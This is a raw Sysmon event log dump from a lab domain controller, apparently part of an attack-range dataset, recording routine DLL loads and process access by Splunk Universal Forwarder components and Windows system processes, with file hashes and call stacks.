Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000057170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.421{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000057322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.795{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.795{7BD73061-7520-613B-B50B-00000000F001}30041272C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.795{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.795{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000057318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft 